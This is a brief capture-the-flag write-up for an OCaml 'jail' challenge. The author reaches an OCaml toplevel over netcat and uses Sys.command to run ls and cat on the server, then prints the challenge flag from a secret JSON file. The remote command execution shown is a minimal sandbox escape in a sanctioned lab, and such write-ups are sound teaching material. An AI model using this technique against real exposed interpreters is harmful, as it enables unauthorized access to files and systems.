Tags: misc ocaml invaders0x1 

Rating: 4.0

# OJail

```sh
mj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201
OCaml version 4.08.1

#
```

Okay its time to learn `OCaml`. I quickly checked the Ocaml hello world program and tried it.

```sh
mj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201
OCaml version 4.08.1

# print_string "hello world!\n";;
hello world!
- : unit = ()
#
```
Yes, it worked. So, I found that with `Sys.command` we can executed the system commands. I tried with `ls`. I found that there were a flag.txt but it was not the correct one. Then looked into `secret` directory and catted out the `flag-1d573e0faa99.json`

```sh
mj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201
OCaml version 4.08.1

# Sys.command "ls";;
Dockerfile
build.sh
flag.txt
secret
- : int = 0
# Sys.command "ls secret";;
flag-1d573e0faa99.json
- : int = 0
# Sys.command "cat secret/flag-1d573e0faa99.json";;
{
"message": "Flag is here. OCaml syntax is easy, right?",
"flag": "cvctf{J41L3d_OOOO-C4mL@@}"
}- : int = 0

```

# [Original Writeup](https://themj0ln1r.github.io/posts/cryptoversectf23)

Original writeup (https://themj0ln1r.github.io/posts/cryptoversectf23).